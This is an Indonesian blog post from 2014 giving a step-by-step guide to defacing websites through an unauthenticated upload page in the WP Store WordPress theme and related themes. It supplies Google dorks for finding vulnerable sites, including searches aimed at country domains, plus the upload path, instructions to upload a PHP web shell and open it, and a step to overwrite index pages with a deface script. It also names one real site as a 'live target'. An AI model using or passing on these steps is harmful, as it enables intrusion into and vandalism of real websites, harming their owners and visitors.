Cara Deface Website dengan WP Store 2014

Halo, Selamat Datang Di BLOG MIFTAKHUL   Kali Ini Ane ( MIFTAKHUL ) Akan Membagikan Artikel  "Cara Deface Website dengan WP Store 2014"  Semoga Artikel Kali Ini Bermanfaat ^_^


1. Masukkan dork ini ke kotak pencarian google
inurl:/wp-content/themes/WPstore/
intext:"You have 0($0) item in your Shopping Bag"

2. Pilih salah satu dari hasil penelusuran

3. Masukkan exploit berikut /wp-content/themes/WPStore/upload/
Contoh: www.site.com/wp-content/themes/WPStore/upload/

4. Nanti akan muncul tampilan berikut

Anda klik "pilih file" untuk mengupload shell anda.

5. Tunggu beberapa saat

6. Jika shell sudah tertanam, anda buka shell anda dengan cara membuka url'nya
Contoh: www.site.com/wp-content/uploads/products_img/namashell.php

7. Anda hanya tinggal eksekusi saja, cari file index.php / index.html nya lalu rubah isinya dengan script deface anda

dan cara lainnya:

Selamat Siang Bro :)) , pada kesempatan Ini saya akan share Exploit Wordpress WP-STORE
Okeh langsung aje ye kak =))

Dork :

inurl:/wp-content/themes/WPstore/

site:.th inurl:ptype=cart

site:.th inurl:ptype=store

NB : Site bisa di ganti sesuka kamu :p .il .mm dsb.

1. WPStore
2. eShop
3. KidzStore
4. Emporium
5. Store
6. eCommerce
7. framework
8. frameworkold

Theme bisa diganti [ganti pada bagian belakangnya itu lho]

1. Googling dengan menggunakan salah satu dork itu

2. Kalo udah ketemu tambahin /upload/ setelah path tema

[ex : http://localhost/wp-content/themes/framework/upload/]

3. Silakan upload ditempat itu, bisa berupa

php , txt , html , dll

4. Akses di mari

[http://localhost/wp-content/uploads/products_img/shell.php]

Live Target :

 http://www.lacasadelcromo.es/

dork:

inurl:/wp-content/themes/WPstore/upload/

inurl:/wp-content/themes/eShop/upload/

inurl:/wp-content/themes/KidzStore/upload/

inurl:/wp-content/themes/Emporium/upload/

inurl:/wp-content/themes/Store/upload/

inurl:/wp-content/themes/eCommerce/upload/

inurl:/wp-content/themes/framework/upload/

inurl:/wp-content/themes/frameworkold/upload/

intext:"You have 0($0) item in your Shopping Bag"

Posted by Unknown on Rabu, 05 Februari 2014 - Rating: 4.5

Title : Cara Deface Website dengan WP Store 2014
Description : Halo, Selamat Datang Di BLOG MIFTAKHUL   Kali Ini Ane ( MIFTAKHUL ) Akan Membagikan Artikel  "Cara Deface Website dengan WP Store 2014...

Tweet